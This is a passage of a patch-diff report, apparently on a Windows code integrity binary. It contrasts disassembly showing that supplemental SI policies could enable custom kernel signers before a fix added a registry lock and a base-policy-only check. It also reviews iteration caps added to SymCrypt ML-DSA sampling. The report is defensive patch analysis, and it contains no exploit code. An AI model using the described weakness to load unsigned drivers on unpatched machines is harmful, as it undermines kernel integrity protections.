&lt;span class="mi"&gt;0000000180073981&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+708h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073987&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;caller&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073989&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18007398F&lt;/span&gt;
&lt;span class="mi"&gt;000000018007398&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;
&lt;span class="mi"&gt;000000018007398&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180073991&lt;/span&gt;
&lt;span class="mi"&gt;000000018007398&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073991&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180073998&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073993&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scanning&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073996&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18007396A&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073998&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;ANY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TRUE&lt;/span&gt;
&lt;span class="mi"&gt;000000018007399&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched logic — registry lock gate + base-policy-only (&lt;code&gt;0x1800764A8&lt;/code&gt;)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;New global gate: if the registry-backed lock byte &lt;code&gt;byte_180048F08&lt;/code&gt; ("CustomKernelSignerLockedEnabled") is 0, the function returns FALSE unconditionally and never inspects any policy flags.&lt;/li&gt;
&lt;li&gt;The scan aborts the moment it reaches a policy that is not a base policy (&lt;code&gt;SIPolicyIsBasePolicy&lt;/code&gt;), so a supplemental policy cannot contribute to the decision.&lt;/li&gt;
&lt;li&gt;The per-policy check is delegated to &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/code&gt;, which re-checks the lock byte and a mode argument before honoring the flag bits.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;BD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;byte_180048F08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9b&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1800764CA&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FALSE&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180076513&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;g_NumberOfSiPolicies&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;g_SiPolicyHandles&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;DE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r11&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001800764E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mf"&gt;00000001800764E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SIPolicyIsBasePolicy&lt;/span&gt;
&lt;span class="mf"&gt;00000001800764E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180076510&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;abort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+708h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sil&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;
&lt;span class="mi"&gt;00000001800764&lt;/span&gt;&lt;span class="n"&gt;F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The helper re-checks the same lock byte and the mode argument:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x18007652C&lt;/span&gt;
&lt;span class="nt"&gt;000000018007652C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;byte_180048F08&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;again&lt;/span&gt;
&lt;span class="nt"&gt;0000000180076533&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_18007654C&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FALSE&lt;/span&gt;
&lt;span class="nt"&gt;0000000180076535&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;dl&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;argument&lt;/span&gt;
&lt;span class="nt"&gt;0000000180076537&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_18007654C&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;unset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FALSE&lt;/span&gt;
&lt;span class="nt"&gt;0000000180076539&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;8&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x8&lt;/span&gt;
&lt;span class="nt"&gt;000000018007653C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_180076548&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TRUE&lt;/span&gt;
&lt;span class="nt"&gt;000000018007653E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;4&lt;/span&gt;
&lt;span class="nt"&gt;0000000180076541&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;cl&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x10&lt;/span&gt;
&lt;span class="nt"&gt;0000000180076544&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;al&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cl&lt;/span&gt;
&lt;span class="nt"&gt;0000000180076546&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;retn&lt;/span&gt;
&lt;span class="nt"&gt;000000018007654C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;al&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FALSE&lt;/span&gt;
&lt;span class="nt"&gt;000000018007654E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The lock byte is populated from the registry by &lt;code&gt;CipUpdateCustomKernelSignerEnabledState&lt;/code&gt; (&lt;code&gt;0x180018DE8&lt;/code&gt;), which reads the &lt;code&gt;CustomKernelSignerLockedEnabled&lt;/code&gt; value via &lt;code&gt;ZwQueryValueKey&lt;/code&gt; (with a &lt;code&gt;ZwSetValueKey&lt;/code&gt; create-fallback) and stores it through &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled&lt;/code&gt; (&lt;code&gt;0x180076558&lt;/code&gt;, &lt;code&gt;mov cs:byte_180048F08, cl&lt;/code&gt;). Neither &lt;code&gt;byte_180048F08&lt;/code&gt; nor &lt;code&gt;CipUpdateCustomKernelSignerEnabledState&lt;/code&gt; exists in the unpatched build.&lt;/p&gt;
&lt;h3&gt;Why this is a real omitted fix, not feature staging&lt;/h3&gt;
&lt;p&gt;The unpatched function has no fallback: its permissive "OR across all policies" loop is fully replaced, not retained behind a feature flag. The old code let a supplemental (less-trusted) SI policy that merely sets the flag bit at &lt;code&gt;+0x708&lt;/code&gt; drive &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; bit 0xD to TRUE, overriding the base policy's trust decision on whether unsigned/self-signed kernel drivers are allowed. Because SI policies (including supplemental ones) are loaded through documented SIPolicy update mechanisms, a supplemental policy is administrator/attacker-reachable input to this decision rather than a hardcoded constant. The patch closes the confusion by (a) requiring an explicit registry-controlled lock and (b) consulting the base policy only. This is a trust-decision hardening (an incorrect-authorization fix), not WIL feature staging, telemetry, relocation, or API modernization.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Change Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (defense-in-depth library hardening).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Class:&lt;/strong&gt; Bounded-iteration guard added to cryptographic rejection sampling in statically-linked SymCrypt.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; (unpatched &lt;code&gt;0x18002A17C&lt;/code&gt; / patched &lt;code&gt;0x180027128&lt;/code&gt;), &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; (unpatched &lt;code&gt;0x18002A31C&lt;/code&gt; / patched &lt;code&gt;0x1800272EC&lt;/code&gt;), &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; (unpatched &lt;code&gt;0x18002A3F8&lt;/code&gt; / patched &lt;code&gt;0x1800273E0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What changed:&lt;/strong&gt; Each function previously looped until it had produced the required number of polynomial coefficients, re-reading the sponge whenever a sampled value was rejected (out of range, or a sentinel). The patched functions add a fixed iteration counter (&lt;code&gt;0x1E1&lt;/code&gt; = 481, &lt;code&gt;0x12A&lt;/code&gt; = 298, &lt;code&gt;0x79&lt;/code&gt; = 121 respectively). When the counter is reached the function returns error code &lt;code&gt;0x8008&lt;/code&gt; (32776) instead of continuing. The ML-DSA callers were updated to observe and propagate that return code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why this is not an attacker-reachable defect:&lt;/strong&gt; In all three functions the loop input is produced by &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; reading from a sponge that is initialized inside the same function and absorbed (&lt;code&gt;SymCryptKeccakAppend&lt;/code&gt;) from a seed. The bytes fed to the range/sentinel checks are pseudorandom SHAKE output. An attacker who supplies a malformed public key or signature controls only the sponge &lt;em&gt;seed&lt;/em&gt; (the ML-DSA public seed rho, or the challenge hash c-tilde), never the sponge &lt;em&gt;output&lt;/em&gt;. Rejection sampling on a SHAKE stream terminates with probability 1, and the per-sample rejection probability is tiny (for &lt;code&gt;RejNttPoly&lt;/code&gt;, values in &lt;code&gt;[0x7FE001, 0x800000)&lt;/code&gt; are rejected: 8191 of 8388608 possible 23-bit values, about 0.098%). Exceeding the natural loop length by the margin these caps allow would require finding 